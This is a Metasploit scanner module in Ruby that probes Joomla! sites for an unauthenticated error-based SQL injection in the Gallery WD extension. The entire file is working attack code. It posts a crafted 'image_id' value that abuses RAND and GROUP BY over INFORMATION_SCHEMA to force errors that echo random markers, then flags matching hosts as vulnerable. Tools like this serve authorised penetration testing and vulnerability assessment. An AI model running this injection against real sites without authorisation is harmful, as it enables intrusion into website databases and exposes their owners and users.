Gallery WD For Joomla! Unauthenticated SQL Injection Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gallery WD for Joomla! Unauthenticated SQL Injection Scanner',  
'Description' => %q{  
This module will scan for Joomla! instances vulnerable to an unauthenticated SQL injection  
within the Gallery WD for Joomla! extension version 1.2.5 and likely prior.  
},  
'Author' =>  
[  
'CrashBandicoot', #independent discovery/0day drop  
'bperry' #discovery/metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '36563']  
],  
'DisclosureDate' => '2015-03-30'))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/'])  
])  
end  
  
def run_host(ip)  
right_marker = Rex::Text.rand_text_alpha(5)  
left_marker = Rex::Text.rand_text_alpha(5)  
flag = Rex::Text.rand_text_alpha(5)  
  
vprint_status("Checking host")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'vars_get' => {  
'option' => 'com_gallery_wd',  
'view' => 'gallerybox',  
'image_id' => '-1',  
'gallery_id' => '-1',  
'thumb_width' => '180',  
'thumb_height' => '90',  
'open_with_fullscreen' => 0,  
'image_width' => 800,  
'image_height' => 500,  
'image_effect' => 'fade',  
'sort_by' => 'order',  
'order_by' => 'asc',  
'enable_image_filmstrip' => '',  
'image_filmstrip_height' => 0,  
'enable_image_ctrl_btn' => 1,  
'enable_image_fullscreen' => 1,  
'popup_enable_info' => 1,  
'popup_info_always_show' => 0,  
'popup_hit_counter' => 0,  
'popup_enable_rate' => 0,  
'slideshow_interval' => 5,  
'enable_comment_social' => '',  
'enable_image_facebook' => '',  
'enable_image_twitter' => '',  
'enable_image_google' => '',  
'enable_image_pinterest' => '',  
'enable_image_tumblr' => '',  
'watermark_type' => 'none'  
},  
'vars_post' => {  
'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)",  
'rate' => '',  
'ajax_task' => 'save_hit_count',  
'task' => 'gallerybox.ajax_search'  
}  
})  
  
unless res && res.body  
vprint_error("Server did not respond in an expected way")  
return  
end  
  
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/  
  
if result  
print_good("Vulnerable to unauthenticated SQL injection within Gallery WD for Joomla!")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => "Unauthenticated error-based SQL injection in Gallery WD for Joomla!",  
:refs => self.references.select { |ref| ref.ctx_val == "36563" }  
})  
end  
  
end  
end  
`